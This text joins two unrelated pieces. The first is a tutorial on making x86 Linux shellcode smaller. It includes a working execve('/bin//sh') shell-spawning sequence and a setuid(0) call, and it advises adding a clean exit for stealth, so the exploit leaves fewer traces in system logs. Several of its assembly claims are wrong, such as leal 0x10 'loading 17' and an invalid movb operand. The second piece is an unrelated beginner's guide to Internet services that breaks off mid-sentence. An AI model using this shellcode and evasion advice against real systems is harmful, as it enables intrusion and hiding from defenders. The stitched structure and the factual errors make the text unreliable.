mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:
movl $0x0a,%eax
mul $0x0a
This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).
So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let’s think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let’s put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it’s about time for some example code, so here it is:
xorl %ecx,%ecx
mul %ecx
What is this shellcode doing? Well, it 0’s out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it’s operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax’s previous contents, %eax must now be 0. However that’s not all, %edx is 0’d now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.
The div instruction
Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let’s think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:
xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn’t return at all unless it fails, in which case it returns -1
int $0x80
divl %eax # -1 / -1 = 1
int $0x80
Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit’s are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn’t worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can’t wipe all the logs, at least this part of your presence will be clear.
Unlocking the power of leal
The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.
xorl %ecx,%ecx
leal 0x10(%ecx),%eax
This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it’s desitination operand. In it’s normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0’d and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:
xorl %eax,%eax
movb $0x10,%eax
I can hear you saying, but that shellcode is a byte shorter than the leal one, and you’re quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn’t counted. Here’s an example:
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80
Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that’s only one byte it doesn’t make that much of a difference, and you’re right, here it doesn’t make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.
Conclusion
I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.
A Basic Guide to the Internet
The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.
No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.
All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user’s local client machine. Software can be installed on a client computer to take advantage of the latest access technology.
An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.
The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.
--------------------------------------------------------------------------------
COMPONENTS OF THE INTERNET
--------------------------------------------------------------------------------
WORLD WIDE WEB
The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.
The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web’s ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.
The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.
Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.
The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.
The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.
For more complete information about the World Wide Web, see Understanding The World Wide Web.
E-MAIL
Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.
A powerful aspect of e-mail is the option to send electronic files to a person’s e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.
TELNET
Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.
Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.
With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.
FTP
FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.
If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.
FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.
E-MAIL DISCUSSION GROUPS
One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.
A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.
Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.
USENET NEWS
Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.
Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.
There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.
The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.
FAQ, RFC, FYI
FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.
RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.
FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.
Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.
CHAT & INSTANT MESSENGING
Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.
Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.
A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online’s Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.
Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.
MUD/MUSH/MOO/MUCK/DUM/MUSE
MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge. For more information, read one of the FAQs devoted to MUDs available at the FAQ site at